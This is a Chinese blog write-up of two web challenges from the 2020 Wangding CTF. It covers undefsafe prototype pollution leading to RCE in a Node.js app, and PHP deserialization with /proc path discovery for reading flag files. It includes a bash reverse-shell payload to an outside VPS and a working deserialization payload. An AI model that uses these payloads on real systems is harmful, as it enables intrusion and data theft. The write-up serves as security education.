2020 网鼎 Web wp

2

太菜了没进决赛呜呜呜,这次比赛宣传上是照着国内安全奥运会规格来着,但是实际运行起来问题多多。首先 py 就不说了,目前基本无解;其次是让我们队仨 web 手大早上起来看密码和 misc,中午才放出来第一个web题,这个操作是真的秀;最后不知道为啥主办方只让一个队伍同时开一个环境,导致我们只能到处去蹭别人的环境(这也加剧了 py 的程度),体验极差。希望主办方能重视这些问题,下次能给选手良好的做题体验。

notes

题目给了源码,主要功能就是实现了个留言板,有增删改查等操作。有个查询当前状态的功能可以执行 bash 命令:

app.route('/status')
    .get(function(req, res) {
        let commands = {
            "script-1": "uptime",
            "script-2": "free -m"
        };
        for (let index in commands) {
            exec(commands[index], {shell:'/bin/bash'}, (err, stdout, stderr) => {
                if (err) {
                    return;
                }
                console.log(`stdout: ${stdout}`);
            });
        }
        res.send('OK');
        res.end();
    })

可以看到会调动 exec 执行两条死命令。但是由于 commands 是字典,真正执行命令的时候实际上是一个 index 遍历字典的所有键。这种情况下如果强行给 commands 加一个属性比如 commands.a = “ls”,那么这个 ls 实际上也会执行;以此类推,给 commands 的父类加一个属性,自然也可以遍历到:

值得注意的是,题目源码在取字典的值时使用了 undefsafe(), 经过查询会发现 undefsafe 在版本 <2.0.3 的情况下有个原型链污染漏洞,于是我们可以污染字典的父类并将命令传入其中执行,从而达到 RCE 的目的。涉及到的代码:

app.route('/edit_note')
    .get(function(req, res) {
        res.render('mess', {message: "please use POST to edit a note"});
    })
    .post(function(req, res) {
        let id = req.body.id;
        let author = req.body.author;
        let enote = req.body.raw;
        if (id &amp;&amp; author &amp;&amp; enote) {
            notes.edit_note(id, author, enote);
            res.render('mess', {message: "edit note sucess"});
        } else {
            res.render('mess', {message: "edit note failed"});
        }
    })

    edit_note(id, author, raw) {
        undefsafe(this.note_list, id + '.author', author);
        undefsafe(this.note_list, id + '.raw_note', raw);
    }

this.note_list 是个字典变量,id、author、raw 三个变量均可控,所以我们传入:

id      = __proto__
author  = bash -i > /dev/tcp/vps/ports 0>&amp;1
raw     = anything

就成功污染了字典的原型链,从而让 command 变量多了一个 author 值,再去访问 /status 路由执行即可接受到 shell

拿到 flag

Notes:

比赛时看代码还是不仔细,一开始构造的 /add_note => /notes?q=__proto__.abc => /status 的攻击链实际上是不成立的(id 不可控),但是比赛时 vps 又确实收到了一条访问,很迷。。。

AreUSerialz

简单的反序列化,蛋疼地读 flag。

反序列化主要是两个点,一个是由于 protected 类型的变量反序列之后有 %00 字符,会被 waf 拦截,在 php 版本 > 7.2 时反序列化可以无视关键字的更改,所以我们本地都换成 public 就好;其次是让 $this->op !== “2” 并且 $this->op == “2” 才可以读文件,利用 php 的弱类型把 $this->op 换成 int 就好。

反序列化利用好可以使用绝对路径读文件,这一步由于不知道 web 文件夹的位置,读默认的 /var/www/html/ 没回显,因此要用一些邪道手法来找 web 路径。

首先肯定是找 proc 目录下的内容。proc 是个好东西,总结下经常会用到的文件:

  1. maps 记录一些调用的扩展或者自定义 so 文件
  2. environ 环境变量
  3. comm 当前进程运行的程序
  4. cmdline 程序运行的绝对路径
  5. cpuset docker 环境可以看 machine ID
  6. cgroup docker环境下全是 machine ID 不太常用

我们可以读 /proc/self/cmdline 来找到对应的路径。

这里注意 /web/config/httpd.conf 是配置文件的路径,直接读取,得到 web 目录的路径

最后读取 /web/html/flag.php 即可。

Notes:

比赛结束后跟队友们聊了聊,发现这个题还有别的解法,让我们先来看段代码:

<?php
# Author : imagin
# Blog : https://imagin.vip
# Filename : test.py

$t = 1;
class A{
    function __destruct(){
        global $t;
        var_dump($t);
    }
}
$a = "O:1:\"A\":0:{";
$b = unserialize($a);
$t ++;
var_dump($t);
var_dump($b);

$a 是一个缺了个 “}” 的 A 类的序列化字符串,这段代码执行会有以下输出:

可以看到 destruct 依旧执行了,而且仅仅抛出一个 notice,并不影响接下来的代码执行。此外,按照这个输出顺序我们可以猜测一下 php 执行的逻辑:

  1. 首先执行反序列化
  2. 解析字符串时出错,于是删除已经生成一半的对象
  3. 对象被删除,执行析构函数
  4. 析构函数执行完毕,对应的变量被赋值为 false
  5. 返回到处理错误的代码,抛出 notice
  6. 执行 $t++ 并输出

也就是说我们可以人为控制序列化字符串,让他变得不完整,从而提前执行析构函数。这样就可以在服务器更换目录之前调用 read 方法读 flag。

payload:

?str=O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:8:"flag.php";s:7:"content";N;

  • 师傅请教一下,Areyouserialz这题“php 版本 > 7.1.2 时反序列化可以无视关键字的更改”有什么文章提及么?

    • 我认识的一个师傅调了底层源码,具体请看
      这里
      还有knight师傅的博客
      这里其实有点小错误,是php7.2开始,才支持变量关键词的替换,之前测试的时候版本写错了谢罪谢罪o(╥﹏╥)o

Imagin 丨 京ICP备18018700号-1


Your sidebar area is currently empty. Hurry up and add some widgets.